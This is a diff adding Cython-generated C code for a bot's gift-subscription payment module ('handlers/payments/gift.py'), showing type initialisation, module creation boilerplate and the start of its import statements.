+static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)) __PYX_ERR(0, 26, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)) __PYX_ERR(0, 42, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)) __PYX_ERR(0, 77, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)) __PYX_ERR(0, 97, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)) __PYX_ERR(0, 137, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)) __PYX_ERR(0, 190, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_gift(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_gift}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "gift", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initgift(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initgift(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_gift(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_gift(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_gift(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'gift' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("gift", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "gift" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_gift(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__gift) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.gift")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.gift", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/gift.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import platform + * import subprocess + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":2 + * import hashlib + * import platform # <<<<<<<<<<<<<< + * import subprocess + * import uuid + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_platform, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_platform, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":3 + * import hashlib + * import platform + * import subprocess # <<<<<<<<<<<<<< + * import uuid + * from datetime import datetime, timedelta + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_subprocess, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_subprocess, __pyx_t_2) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":4 + * import platform + * import subprocess + * import uuid # <<<<<<<<<<<<<< + * from datetime import datetime, timedelta + * from typing import Any + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":5 + * import subprocess + * import uuid + * from datetime import datetime, timedelta # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_datetime); + __Pyx_GIVEREF(__pyx_n_s_datetime); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_datetime)) __PYX_ERR(0, 5, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_timedelta); + __Pyx_GIVEREF(__pyx_n_s_timedelta); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_timedelta)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_datetime, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_datetime, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_timedelta, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":6 + * import uuid + * from datetime import datetime, timedelta + * from typing import Any # <<<<<<<<<<<<<< + * + * import aiohttp + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_Any)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) 